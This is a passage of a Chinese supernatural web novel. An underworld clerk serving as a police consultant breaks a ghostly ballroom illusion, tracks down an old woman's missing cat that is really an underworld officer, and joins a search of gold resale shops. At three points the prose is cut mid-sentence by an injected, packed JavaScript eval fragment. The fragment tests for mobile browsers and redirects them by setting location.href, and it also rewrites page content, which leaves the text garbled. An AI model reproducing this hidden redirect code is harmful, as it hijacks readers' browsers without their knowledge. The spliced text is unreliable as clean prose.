“……秦广王殿下同意了。” “……哦。” 秦广王殿作为十殿阎罗中的第一殿,负责鬼魂进入阴司的初审。他掌管阳世活人寿命生死,鬼魂进入阴司后,第一站便是秦广王殿。 秦广王会先行查阅阴曹司上报的关于该鬼魂的文 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16955288|192703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 书,初步断出善恶。善者直接接引超升;善恶各半者,入第十殿转轮殿,由转轮王核定善恶等级后再投生;若是恶多善少,便将此类鬼魂押往孽镜台,孽镜台可照出鬼魂生前作恶等级,之后再依据作恶等级分别押往其余各殿受刑。[8] 总之一句话,秦广王殿就是忙,很忙,非常忙。 “大忙人竟然还会特意关注阴律司的一个小小书吏?”孟婆语气很不客气。 崔珏没说话,心道:凌初可不是一般的书吏,她可是一百八十年前从十八层地狱中杀出来的“万鬼之王”,若不是他下手快,凌初早被其他鬼神抢走了! 想到这儿崔珏又叹了口气,果然不是每一届“万鬼之王”都像凌初那么好忽悠的。就比如这次,恶鬼竟然把阴阳界则给偷走了! 此“万鬼之王”并非十大阴帅中的“鬼王”一族,“鬼王”乃是阴司修炼的鬼修自发凝聚出来的组织,受阴司管辖,其中,首领称“某某鬼王”。而十八层地狱出来的“万鬼之王”,可是实打实打出来的名号。 十八层地狱每一百八十年开启一次,只有唯一的胜者才能冲出十殿阎罗所设的结界。这活动的目的说好听点儿是阴司特设的一个逃出十八层地狱的机会,说难听点儿就是要恶鬼们自相残杀、消磨实力。 至于诞生的万鬼之王,能招安便招安,不能招安的,下场只有一个——魂飞魄散。 这手段阴司已经玩了数千年,只是这次不小心失手,这才导致阴阳界则丢失。 孟婆对此嗤之以鼻,她掌管轮回司,只负责鬼魂往生,其余的,不多管闲事。 崔珏的孟婆的对话以沉默告终,孟婆起身,继续熬着这一锅孟婆汤。 …… 凌初紧赶慢赶,终于回到了红旗分局给她安排的宿舍中。 刚站定便听到门外争执,“李善言!你在干什么?让我开门!”这是陈遇的声音。 李善言死死把住门,“队长,这么晚了,进女孩子的房间不太好吧。” “我刚才敲了十分钟的门,没有听到回应,所以才拿来备用钥匙,想看看她是不是出什么事了?”陈遇的耐心即将告罄,这李善言怎么回事? “啊?是吗?万一凌顾问只是睡着了呢?”李善言假笑,绞尽脑汁找理由:“或者是睡眠质量比较好?或者是带了耳塞。队长,我觉得咱这里不太隔音,真的。”他一脸真诚。 “……没记错的话,你今天是第一天搬过来。”陈遇眸光冷冷地审视他。 “……”李善言张了张嘴,什么也没说出来,死嘴快说啊! “让开!”陈遇下了最后通牒。 李善言闭眼,表情悲壮,“我——” 房门突然从里面打开,李善言没防备,“啪”一声被门拍到墙上。靠!好痛!回头幽怨地瞪了凌初一眼,开门怎么不提前说一声? 凌初没说话,轻轻朝他挥了一下手,李善言被撞到的地方瞬间变得清清凉凉的,也不疼了,他惊讶地看向凌初,这就是阴司的术法吗?! “陈队,找我什么事?”凌初问陈遇。 “……呃,听小曈说你不舒服,没事吧?” “没事。” “你刚刚是在?” “哦,洗澡。”她刚从阴司赶来,现在满头大汗。 陈遇这才看到凌初的头发湿淋淋的,房间内像是有水汽蒸腾,就是这衣服有点眼熟。 !!!这不是我下午递给她的外套吗?怎么洗完澡就披上了?他的脸瞬间爬上了可疑的红晕。 凌初歪头,不明所以,陈遇怎么突然脸红了? 李善言没意识到二人之间的不对劲,见场面已经得到控制,施施然道:“陈队,凌顾问,我先下楼咯。晚安,亲们!” 李善言一走,气氛更加焦灼,偏偏凌初问他:“陈队还有事?” “没、没了,你、你好好休息。”陈遇落荒而逃。 “奇怪。”凌初关上房门。 17. 风紧扯呼 这抹可疑的红晕一直持续到陈遇第二天早上洗漱时还未消退,他鞠起一捧冷水,用力扑到脸上,再抬头看向镜子中的自己,脸色萎靡,眼下挂了两个硕大的黑眼圈,睫毛眉梢都挂上了水珠,顺着脸部凌厉的线条往下淌。 “清醒点,陈遇!她现在是可疑人员。”陈遇告诫自己,拿毛巾擦了把脸,出门上班。 一出门才发现外面湿意弥漫、水汽渺渺,天上飘着细密的雨丝。陈遇戴上冲锋衣帽子,看了眼手机日历,心道:怪不得下雨了,再过两天就是清明。 清明时节雨纷纷[9],还真是个多雨的节气啊。 他的身影走进雾蒙蒙的雨丝中。 …… 清明最主要的习俗是扫墓祭祖与踏青郊游。 活人的踏青郊游凌初还没体验过,扫墓祭祖倒是先看到了。 阳世之人对扫墓祭祖的态度不同,有的人离老家比较近,会特意赶回家扫墓。 有的人离家较远,便找一个十字路口,拿石块或树杈画一个圆圈,不要封闭,留一个开口朝向家乡或者墓地,之后在圆圈内焚香,点燃黄纸、元宝等物,默念去世亲人名字,等待祭祀用品烧尽后便可离开。若是想要防止孤魂野鬼抢钱,便额外在圆圈外烧些黄纸打点一下。 但这烧纸的时间也是有讲究的,不能太早,也不能太晚,需避开卯时(5:00—7:00)、午时(12:00-14:00)、酉时(17:00-19:00)。 卯时阳气初生但地气寒凉,人体阳气未恢复,阴气较重,此时烧纸,容易被阴气侵袭;午时阳气最盛,阴阳冲突剧烈,烧纸有可能带来“冲煞”,导致运气波动;酉时阴气渐强,阴阳交替混乱,烧纸容易吸引游魂野鬼。[10] 从家属院到红旗分局,需要经过两个路口。凌初经过第一个路口时,看到了好几处圆圈中残留的纸灰,纸灰灰白,风一吹就散,这说明鬼魂成功收到了亲人烧给它的纸钱。 经过第二个路口时,凌初看到一个圆圈中有黄纸残余,“这是、被抢钱了?”她无意多管闲事,只瞥了一眼便离开。 走着走着发现了不对劲儿,好端端的怎么起雾了? 凌初伸出手,没有感受到雨滴,刚不是正下着雨吗?再说家属院离分局的路程,走路也就十五分钟,今儿怎么感觉都走了半个小时了?还没到? 凌初心中生疑,但也没多想,应该没有鬼魂吃了熊心豹子胆捉弄到阴差头上吧? 事实证明,凌初高估了这些游魂野鬼的智商。 大雾越来越浓,周围的景物白茫茫一片,几乎分辨不清。凌初停下来,环顾四周后发出一声冷笑,“呵!”真有不怕死的鬼魂敢在太岁头上动土啊! 不过凌初没有轻举妄动,她倒要看看,这野鬼究竟想干什么? 她向前踏出一步,一瞬间天地变幻。 凌初盯着眼前金碧辉煌、流光璀璨的建筑物,眼中难得浮现出一丝迷茫,她看着建筑物中央牌匾上的三个大字,轻声念出来:“百、乐、门?”[11]这是什么地方? 刚一走近,就受到了门童的热烈欢迎,“小姐,您好,欢迎光临百乐门,今天有著名歌星——红玫瑰的专场演出,要进来听听吗?” 凌初看了一眼门童,身量不高,黑丝绒西装红领结,脸色苍白,表情僵硬,身形单薄,是纸人! 她微笑:“好啊。”走进百乐门。 百乐门内,衣香鬓影,人声鼎沸。 一楼大厅正中央是个硕大的舞池,绕着舞池一圈,摆放了若干张桌子,客人不少,男女老少皆有,酒保们端着香槟、红酒、点心穿梭其中。 二楼是若干包厢,靠着栏杆放了一圈观赏的桌椅,有几位客人凭栏而坐。 三楼则全部被门窗封了起来,只能看到精致的珐琅玻璃,一个一个小房间,私密性极强。 凌初就近找了个一张空桌坐下,刚坐下酒保就来问:“小姐,香槟还是红酒?” “红酒。” 酒保将一杯红酒放下,施施然走了。 凌初端起红酒,闻到一股腐朽沉闷的气息,面露嫌弃:“这是打哪儿弄的猴年马月的陈酒?都坏了吧?”她一手托腮,一手摇晃着红酒杯,仔细观察起厅内的客人们。 客人们衣着可谓是千奇百怪,服饰横跨数千年。有曲裾直缀、长衫西装,也有襦裙深衣、新式礼服,唯一相同之处,便是客人们皆脸色青白,身形飘渺。 不是活人! 都是游魂野鬼吗?不对!凌初视线略过角落。 其中有三两个客人战战兢兢,恐惧地看着周遭一切,紧张得满头大汗,无声在心中呐喊:救命啊?我是不是撞鬼了啊? 百乐门不是在民国时期的沪市吗?而且这儿怎么连战国时期的曲裾袍都有啊? Cosplay? “……”哟,还真有倒霉的活人被卷进来了? 然后凌初就看到了一个意想不到的男人,分外镇定地坐在离她不远的桌边。她脸色大变,手中摇晃的红酒杯差点儿飞出去,两滴酒液溅到桌布上,震惊极了:陈遇怎么在这儿? !!!他转头了!凌初连忙侧身扭脸,胳膊支起来,极力想要挡住自己,以免被陈遇发现。 陈遇此刻的心情就俩字——复杂。 本来是去上班的,结果莫名其妙来到这里,还看到这么盛大的场景。他心里很清楚,这不是真实的世界。所以,他这是撞鬼了吗? 陈遇脸色很平静,至少没遇到什么危险,当务之急是想办法出去。但他第一次撞鬼,经验不多,陈遇不知道现在应该怎么办?是直接离开?还是需要听完这场鬼怪们的“演唱会”? “各位观众,让我们隆重请出今晚的主角——红玫瑰小姐!”主持鬼站在舞台上,激动说道。 “好!” “红玫瑰!红玫瑰……” “我爱你,红玫瑰小姐!” “……” 耳边乱糟糟的,陈遇头疼地掐了掐眉心,这堪比追星的场面真是令他大开眼界。 但是!!!这位女士,哦不,姑娘,您穿着曲裾袍上蹿下跳的合适吗?!陈遇无声叹气,今日真是感受到了何为“百花齐放、礼崩乐坏”!(PS:非贬义) 他想静静。 凌初也很想静静,这群鬼也太吵了吧?!真想用一根勾魂索把他们全都带回阴司,省的在这儿扰民! 凌初看了看寻鬼镯,叹道:“可惜俺这根不是勾魂索。” 巧鬼难为无米之炊啊! 红玫瑰身着大红抹胸礼裙,站在舞台上面带微笑,虽是鬼魂,脸上没有一点血色,但比起其他鬼魂来说,长相算是十分美艳的。乍然一看,酒红的衣裙与苍白美艳的面庞,极致的红与极致的白相碰撞,竟无端生出一种诡谲艳丽来,不负她“红玫瑰”之名。 她轻轻抬起双手,嘈杂的观众们立刻噤声,厅内一瞬间安静下来。 紧接着红玫瑰又做了一个手势,舞台暗下来,几道流光溢彩的灯光打下来,不知打哪儿传出悠扬的乐声。 “装备齐全啊。”凌初忍不住道,话音刚落旁边桌子的鬼魂就狠狠瞪她一眼,严肃道:“别说话!” 凌初:“……”666,她堂堂阴差,竟然还有被鬼魂瞪的一天?! 凌初摆手,示意抱歉。 “夜上海夜上海 你是个不夜城 华灯起车声响歌舞升平 …… 换一换新天地 别有一个新环境 回味着夜生活如梦初醒……”[12] 曲调婉转悠扬,令人和鬼沉醉其中。 在场几位活人的恐惧情绪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16967676|192703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,被歌声抚平些许。 即使歌曲好听,但长久下来也不是办法。活人跟鬼魂呆的时间长了,对身体不好。 于是凌初小心翼翼撕了桌布一角,随便折了两下,做成一个面罩,整个罩住头,趁着音乐停下来的间隙,无声释放阴差的威压。 老鬼们最先反映过来,此起彼伏站起来,环顾左右,“我怎么、好像感受到阴差的气息了?” “是啊是啊,我也是。” “死这么长时间了,难道我鼻子终于出问题了?” “……” 凌初都被气笑了,好哇,一个个的,知道阴差来了还不赶快跑?还有心思在这儿闲聊? 她猛地站起来,伸手召出缚魂锁,直接甩了出去,“pia”一声,几个桌子应声而碎。 刚刚瞪她的野鬼迅速反应过来,妈呀,她怎么是阴差啊?!急急忙忙往后飘了老远,同时大喊:“条子来了,风紧扯呼!” 凌初:“……”不是,您到底是哪朝哪代的鬼啊?说得前言不搭后语啊。 这一声堪比防空警报,在场鬼魂登时抱头鼠窜,包括那位舞台上的红玫瑰小姐。仅仅两个呼吸间,鬼魂们就消失得无影无踪了! 只剩下三个活人男女互相抱着,看着突然冒出来的面罩鬼,瑟瑟发抖;另外一个活人,冷眼旁观。 凌初心道:陈遇不愧是刑警大队大队长啊,胆色过人! “咳咳!”凌初装模作样咳了声,随后嗓子故意沉下来:“此地乃鬼魂幻境,尔等误入其中,幸得本差路过,特来相助。诸位,请闭眼。” 那三个人看着凌初奇奇怪怪的打扮,心里虽然纠结她不像是自己认知中黑白无常那样的阴差,但也听话的闭上了眼。 “你怎么不闭眼?”凌初问陈遇。 陈遇冷静道:“你有什么证据证明你是阴差,而非恶鬼?” “……”职业病吧?要什么证据?我要是恶鬼早就附身到你身上了! 凌初懒得跟他说废话,直接挥了下手,陈遇瞬间就晕了过去。有一个女孩儿悄悄睁开眼睛看她,凌初回头冷声道:“要不然乖乖闭眼,要不然被我弄晕。你,选一个?” 那女孩儿默默闭上了双眼。 凌初摇头,默念:阴阳有序浑然生,生人不得踏幽冥!她一甩缚魂锁,喝道:“破!” 眼前景物以一种肉眼可见的速度扭曲、消散,白雾慢慢散开,阴阳颠倒,凌初他们终于回到正轨。她特意将在场男女分别送回不同的地点,以免造成阳世混乱。 一个人撞鬼还能怀疑是自己做噩梦,两个人撞鬼可能怀疑对方是不是精神有问题,三个人同时撞鬼,那搞不好就变成世界上真有鬼神了!封建迷信不可取! 凌初特意将陈遇跟自己分在一处,看着眼前熟悉的人民路,凌初摘掉面罩,这面罩是薄薄的一张纸,刚撕碎,陈遇就醒了。 她急忙去扶,特意“关心”道:“啊,陈队,你怎么晕这儿了?是不是身体不舒服?要不要去医院看看啊?” 陈遇:“……”你可能不知道,我刚刚撞鬼了!为了避免吓着凌初,他保持沉默。 凌初见他没说话,以为陈遇是还没清醒过来,又伸手在他眼前挥了挥,“陈队,你真没事儿啊?” “没事。”陈遇身子站直,随口问了句:“现在几点了?” 凌初打开手机一看,8:28分!距离迟到还有两分钟。 !!!她的全勤奖金! “还剩两分钟!”凌初快速道,随后就撇下陈遇,朝着红旗分局大门飞奔!中途甚至顺手丢了个垃圾,一张纸片飘到了地上。 陈遇走过去,捡起纸片丢进垃圾桶。 “这纸片上的花纹,有点眼熟啊。”陈遇也没仔细看,“可能是在哪儿见过吧。” 然后,他大步走向红旗分局。 18. 找猫 “叮!打卡成功!” 凌初及时赶到,她的全勤奖金保住了。 她并没有急着进门,而是站在分局门口,幸灾乐祸地看着陈遇走过来。嘿嘿,大队长竟然迟到了!她今天一定要让全分局的人都知道这个消息。 陈遇刚走近,凌初就急不可耐阴阳怪气开口:“陈队,你迟到了哦。” 陈遇愣住,随后剑眉一扬,掏出手机给凌初看钉钉打卡记录,手机上蓝色字体有些刺眼,“打卡结果:极速打卡·成功!”时间显示在8:29分。 他眼带笑意,装作很惊讶:“咱们局里有钉钉打卡,你不知道吗?”说完就走。 陈遇笑了? 笑了? 凌初呆了! 片刻后,“啊啊啊啊——”想起来自己刚刚干的蠢事,她无能狂怒。 陈遇一直来到办公室,嘴角的弧度都没放下去。惹得整个大厅的人啧啧称奇,八卦之心熊熊燃起,互相打听着。 “陈队今儿这么高兴?” “是啊,老臣好久没见太子爷这样笑过了!”这人一脸沧桑,状若怀念。 他旁边同事:“……6!”戏真多! “捡钱了?” “你以为谁都跟你一样财迷?” “……” 众人交头接耳间就看到凌初一脸郁闷地进来了。 有人冒出一句:“自己的郁闷固然糟心,但他人的愉悦更令人眼红!” 凌初斩钉截铁道:“没错!!!” 她死气沉沉走到自己座位趴下去,生无可恋给同事们打招呼,“早上好啊,各位!” “早上好,凌顾问。”这是赵凭跃。 李善言有气无力回了一句:“早。”昨晚刚搬来宿舍,他有点认床,果然失眠了。 “凌初姐,你没事吧?”张小曈目露关切。 凌初立马坐直了,“我没事。” “哦,好。”张小曈随即开始整理手边的材料。 书页翻动的声音异常助眠,李善言脑子已经不太清醒了,看电脑的眼睛也慢慢闭上,一大清早就会周公去了! 凌初则请教赵凭跃,问了一堆关于红旗分局的制度,顺便下载了钉钉,让他把自己拉进去。哼!以后她也要线上打卡。 凌初问完问题后,轮到赵凭跃问她,“凌顾问,你还记不记得盗窃金子的那个犯罪嫌疑人?” “记、得!”凌初咬牙切齿,能不记得么?那只贪财鬼现在都没抓到呢?不知道躲哪儿去了!“怎么了?又出事了?” “没有没有。”赵凭跃摆手,“我就是想请教你一下,他盗窃的金子还没找到,没有赃物的话,很难定罪。” “赃物啊?这个确实不好找。没搜查他家里吗?”凌初问。 赵凭跃点头,“搜查了,没发现。讯问他也不配合,一口咬定自己不知道这些事。”赵凭跃抓头发,吐槽:“真是见鬼了!” 可不就是见鬼了嘛。凌初默默回答,脑子里也在想,贪财鬼会把盗窃来的金子藏到哪里呢? 它是鬼,又花不了真金白银。 幽冥界的通用货币可是金、银箔纸叠成的金、银元宝,至于其他,比如印着“天地银行”的冥币,都不能用! 阴司直到现在还有一座“破钱山”杵在那儿呢,烧也烧不掉,用也不能用,白白在那污染环境、有碍观瞻。 哎?有没有一种可能,贪财鬼把金子给活人,然后托梦叫人给它烧钱啊?或者直接附身,自己给自己烧钱?凌初不禁脑洞大开。 还没来得及跟赵凭跃表达这个想法,胜利路派出所的王所长就找了过来。 “小赵!小赵!”王所长拉着一个大娘,在门口叫他。 赵凭跃起身迎过去,王所长让大娘说话,大娘口若悬河,一边讲事情,一遍流出泪花儿。 赵凭跃给她递纸,眼神越来越古怪。 等大娘说完,他才开口:“我试试,但她答不答应,就不知道了。” “好好好,快去快去!”王所长已经被这大娘搞怕了,她三天两头去派出所,每次都是同一件事,这谁能受得了?主要是他也无能回力啊,周围都找好几遍了,都没找着啊。听说分局有个能人,才抱着试试看的态度带她过来。 “凌顾问,有个事儿想请你帮忙。”赵凭跃低声问凌初。 “你说。” 凌初听后,面无表情看他,口中道:“小赵同志,我的嗅觉是比较灵敏,但也不能拿我当警犬看吧?让我去找猫是不是太过分了?嗯?” 赵凭跃疯狂道歉:“对不起对不起……我这就去跟他们说。”他转身就走。 凌初看向大门口两人,微微眯眼,那位大娘身上,有鬼魂的气息。 她站起身,朝他们走过去。 “王所,凌顾问她……”赵凭跃正要说话,肩膀冷不防被人拍了下,他猝然回头。 凌初笑了笑,补充道:“我同意,为人民服务!大娘,你的猫是在哪儿丢的?咱么现在就过去。” “哎,好好好。” “你也跟我一起。”凌初拿赵凭跃凑了个人头。 赵凭跃点头:“好。我去跟陈队汇报一下。” 凌初:“……”这孩子真乖啊。 胜利路派出所离红旗分局并不远,所以王所长是开着大娘的老年三轮车过来的,三轮车不大,撑死容纳两人。 凌初:“……” 赵凭跃从陈遇办公室出来,手里拿了串钥匙,对着凌初道:“凌顾问,我今天没开车,陈队让我们开他车过去。” 陈遇买的房子离分局不远,很少开车上班。于是,他的车几乎大部分时间都停在局里,谁有事儿要用车跟他说一声就行。 这就是所谓的“私车公用”叭?陈队大气! 凌初跟着赵凭跃上车,顺口夸了句:“小赵同志,很有先见之明啊。” 赵凭跃嘿嘿一笑,启动黑色SUV。 于是乎,人民路上出现了一个奇怪的景象。 一辆老年三轮载着人,慢悠悠走在非机动车道;旁边机动车道,一辆黑色SUV跟在后面。 路人还以为是有人伺机抢劫,定睛一看,看到驾驶位上的警服小赵。哦,照顾老人呢! 差不多十分钟后,一干人等终于来到大娘居住的小区门口。 车门刚解锁,凌初啪一下打开,蹲到绿化带边儿大吐特吐,“哕——” 这一路车辆不多,因此SUV走走停停,阴差大人,成功体验到了晕车的感觉。 她虚弱地指了指赵凭跃,赵凭跃一脸抱歉。 大娘从三轮车座底下掏出一瓶矿泉水递给她,“乖,漱漱口吧。” 凌初急忙接过水,灌进去一大口,然后吐掉,“谢谢您!” 等凌初吐完,四人才去大娘家里。 大娘家在一楼,有个小院子,围了一圈篱笆,墙角种着花花草草和一些蔬菜,地面铺了青石板,瞧上去干净又雅致。 大娘开门迎他们进屋,赵凭跃和王所长率先进去,凌初走在后面。 鬼息越来越浓了,不是十八层地狱的恶鬼。 一进屋,客厅不大,家具、装潢都有点年代了,但分外整洁。 木制的沙发、茶几、斗柜一尘不染,还有一组大书柜,摆满了书籍,依稀能看到几个荣誉奖杯。 大娘给他们倒了水,凌初刚坐下,看到一处就愣住了。 不起眼的角落里,有两幅小小的黑白照片,一男一女,穿着白色制服。男的长相跟大娘有点相似,但凌初关注的重点不是这个,重点是眼前有两个跟照片上的男女长得一模一样的鬼魂在屋里游荡。 凌初甚至还能听到二人对话。 “咱妈怎么把警察同志请回来了?”女的说。 男的看了凌初三人一眼,道:“她前段时间收养的猫不是丢了吗?估计是为了这事儿吧。” 但是,鬼魂彷徨人间,始终是不太利于活人的。 大娘看她盯着照片,笑着解释:“这是我儿子和儿媳,他们都是海军,前两年执行护航任务时牺牲了。” 我真该死啊!凌初默默唾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16971075|192703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弃自己。“我很抱歉,阿姨。”她立刻道歉。 大娘却哈哈一笑,豁达道:“乖,不要紧。我们家可是军人世家呢,我爱人生前是野战兵,参加过抗美援朝和对越自卫反击战呢!我本人是从军医大学毕业的,一直在解放军371医院工作,前几年干不动了才退休。我孙子现在上大四,海军工程大学哦!”大娘特别骄傲,“我门口的‘光荣之家’牌子还多攒了两块嘞。” 在场三人肃然起敬,两名警察站起,敬了个礼,凌初则深深鞠了一躬,大娘同样不含糊,回敬了个标准的军礼。 “大娘,你把猫用过的东西拿给我看一下吧。”凌初开口。 “好。”大娘去卧室,拖出来一个猫窝,猫窝里还有一堆玩具,对着凌初说:“都在这儿了。” 这味道很熟悉啊!凌初走近猫窝。味道更明显了,不会吧?她试探着道:“阿姨,您这猫,是黑色的吗?而且还能听懂人话?” “哎,对对对!”大娘连连点头,这姑娘真厉害。 赵凭跃和王所长目瞪口呆:知道猫是黑色的不稀奇,有猫毛呢,但知道它能听懂人话,就有点儿超出常识了吧?这是能闻出来的吗? 得,还真是豹尾大人!不过,他怎么跟活人接触了?不是最讨厌活人了吗? “乖,你能找到它吗?”大娘眼含希冀。 “能!”凌初爽快道,然后站起身,“阿姨,卫生间在哪儿,我去上个厕所,出来后咱们就去找猫!” “那儿。”大娘指着一个位置。 进了卫生间,凌初翻下马桶盖坐上面,抬手设了个结界,直接在识海中呼唤豹尾:“豹尾大人?豹尾大人?” 豹尾慵懒地答应了一声:“干嘛?” “你是不是认识新城市健康花园小区XX楼1单元一楼的老太太?” “……昂?怎么了?”豹尾很快就想了起来。 他捉兽魂过程中被一只贪财鬼戏弄,着了道,伤了右腿。本来打算找一个僻静角落,养两天就好了,结果一个人类老太太出现,不顾他挣扎,非得把他带回家,还擅自缝合了伤口,他没办法只得在老太太家呆了几天。 按他的计划,他是打算多待两天的,但是某天老太太带他出门遛弯儿,邻居的一句话让他毛骨悚然,当晚就逃之夭夭了。 “她很担心你啊,怕你伤没好就死外边儿了。这些天一直在找你,食不下咽、夜不能寐啊。” “……是吗?”豹尾忽然生起一丝愧疚。 凌初继续加了把火:“而且她孤零零一个人,老伴儿和儿子儿媳都去世了,孙子也在外地上学,好不容易捡到一只小猫想做个伴儿,结果给他瞧好伤他就跑了……” “停停停!本大人知道了,别念了!”豹尾叫停凌初的碎碎念,搞什么鬼?怎么把他说得跟一个负心汉似的?! “很奇怪的是,她儿子和儿媳的魂魄尚在,不知为什么没去阴司投胎?既然你要捉兽魂,所以,希望你能顺便帮忙照顾一下?豹尾大人。”凌初语气十分认真。 “知道了。一会儿小区门口见。”豹尾答应,不就是一个老太太嘛,他罩了! “多谢。”凌初断了神识,顺手按下马桶按钮,抽水声响起,凌初开门说:“咱们走吧,我知道它在哪儿。” 三人跟在凌初后面,心里都打鼓。 刚走到小区门口,一个矫健的身影从墙头上跳下来,拦住凌初的去路,冲她身后“喵喵”叫了几声。 大娘脸上一喜,蹲下身子招手:“咪咪,你回来啦?” 凌初紧紧抿嘴,想笑又不敢笑,不能笑!凌初!一笑就前功尽弃了! 豹尾昂头蹭了蹭大娘的手,又绕着她走了好几圈,又对凌初“喵喵”叫了几声。 “噗呲!”凌初没憋住,捂嘴大笑,眼泪都飞出来了。 豹尾呲牙,“喵(凌初)!” “对不起对不起,不好意思,没忍住哈哈哈……”凌初好不容易平复心情,跟大娘转述豹尾的话,“阿姨,他说他不是一般的猫咪,不会发.情乱尿,不需要绝育。” 19. 拾金不昧 “不需要绝育。” 此话一出,除凌初外,其余三个人都有一瞬间愣怔,随后情不自禁笑了。 “这家伙!”大娘拍了拍豹尾的头,“我没打算把你绝育呀!再说,你还小呢。” 阿姨,其实他不小了,起码上千岁了吧。 豹尾友好地蹭了蹭她手心。 大娘笑眯眯给豹尾呼噜毛,接着颇有些惊奇地问凌初:“凌顾问,你能听懂猫说话呀?” “……”不好!忘记这回事儿了!这该怎么说? 说他其实不是猫,而是阴帅?还是说我除了嗅觉灵敏外,还能跟动物沟通?万一以后要我找别的小动物怎么办?保准露馅! 凌初小脑袋瓜儿疯狂转动,终于想出了一个比较让人容易信服的理由。她回答:“阿姨,我以前家里也养过猫,后来它偷偷跑出去了,没多久人家回来了,还带回来一只公猫。” 王所长非常好奇:“后来呢?” 凌初露出一个极其瘆人的笑容,“后来我把两只猫都绝育啦嘿嘿!” 在场雄性皆是虎躯一震,某个部位凉飕飕的,心中无不感叹:真凶残的女人(鬼)啊! 大娘和凌初相视一笑。 大事告成,凌初三人跟大娘告别后就离开了。 路上,王所长看了凌初一眼又一眼,眼中那叫一个羡慕嫉妒,这么能干的人才怎么就被陈遇先捞到手里了!明明自己才是她第一个遇到的警察! “王所,您有什么话要对我说?”凌初看他盯着自己看,一副欲言又止的模样。 王所长惋惜道:“你要是我们派出所的顾问就好了。” “啊?” 赵凭跃在一旁泼冷水:“师父,派出所达不到聘请顾问的级别。” 王所长啐了他一口,“我就想想怎么啦!还有你,说跳槽就跳槽!才跟着我干了几天就另觅新欢?陈遇那家伙给你灌了什么迷魂汤?啊?你说啊?” 赵凭跃哭笑不得,“另觅新欢不是这么用的,师父。你怎么讲得我像个渣男啊?容易引起误会。” “哼!你就是渣男!”王所长傲娇得很。 “这是市里面下的决定。再说,你不是常说我一个公大毕业生呆在派出所屈才嘛,结果调到分局了,你又不高兴。”赵凭跃无奈作摊手状。 “……两句牢骚还不让我发泄一下啊?赶紧走,走走走,省的我心烦!”王所长把赵凭跃推上驾驶座,转过头又对凌初笑得满面春风:“凌顾问,有空来胜利路派出所玩啊。” “哦,好,王所。”凌初笑盈盈应了。 得到回应后,王所长后退,让赵凭跃启动车子。 “师父,我们走了。” “嗯,好好开车啊,别让凌顾问下车又吐了!” 凌初:王所,这个就不必再提了叭。 …… 两人安全平稳到达分局。 凌初等赵凭跃停好车,跟他一块进门。 刚一坐下,凌初就收到豹尾的传音,“凌初,前段时间我受伤是着了那只贪财鬼的道儿,你万事小心。” “多谢豹尾大人。” 贪财鬼,很嚣张啊! “哦,对了!”凌初一拍脑袋,立刻跟赵凭跃说了下自己的思路,嫌疑人有没有可能早已经把赃物处理了?能不能走访二手黄金市场看看有没有人出售这些金饰? 赵凭跃觉得凌初的想法很有启发,立马去敲了陈遇办公室的门,屋内传来一声“进!” 房门打开后又关上。 凌初支起下巴,“我得好好想想,怎么将贪财鬼捉拿归案?!” 十分钟后,赵凭跃和陈遇一起出来。 陈遇拿手机建了个群,把凌初、张小曈、李善言、赵凭跃拉进去。 李善言刚刚清醒过来,双眼略微有些迷茫,“陈队,这是要做什么?” 陈遇没理他,来到张小曈跟前,“小曈,把整个新城市的地图调出来,标记所有的二手黄金交易市场,看看有多少个?” “好的,队长!” 张小曈手速飞快地敲击着键盘,三分钟后,“队长,调出来了。一共二百一十六家,都在这里。” 看着地图上密密麻麻的红点,陈遇思考几秒,再次开口:“县区的去掉,规模比较大的去掉,还剩多少家?” “九十八家。” “还是太多了。这样,距离案发现场五公里以内的,去掉。” “四十三家。”张小曈看着地图上的标记,抬头看陈遇,“陈队,是不是还有点儿多啊?” 陈遇又喊了两个帮手,“够了。这样,你和凌顾问排查距离分局5公里以内的十三家店铺;我们几个去排查另外的三十家,有什么情况电话联系。各位,有问题吗?” “没有!” “没有问题。” “没问题。” 凌初弱弱举手,问:“……我也要去吗?”说实话,她不太想去哎,这样一来,她怎么去抓阴司逃出来的恶鬼?根本就没时间啊! 总不能白天上班,晚上抓鬼,那她还活不活啦?休息时间呢?! 陈遇定定瞧她一眼,意有所指道:“凌顾问,工资不是白发的。再说,这建议不是你提出来的吗?纸上谈兵多没意思,不如脚踏实地,走访一番?” 凌初:“……好啊。”她忍! 一行人开车的开车,走路的走路,浩浩荡荡出发了。 凌初和张小曈走路去最近的一家二手黄金交易店铺。 店铺不大,估计也就二十多平的样子,放几个玻璃柜台后只剩下能供五六人落脚的地方。 老板是一个四十多岁的中年男人,个子不高,胖乎乎的像个弥勒佛,正缩在椅子上打游戏,声音外放。 “砰砰砰!” “我捡到一个物资包!” 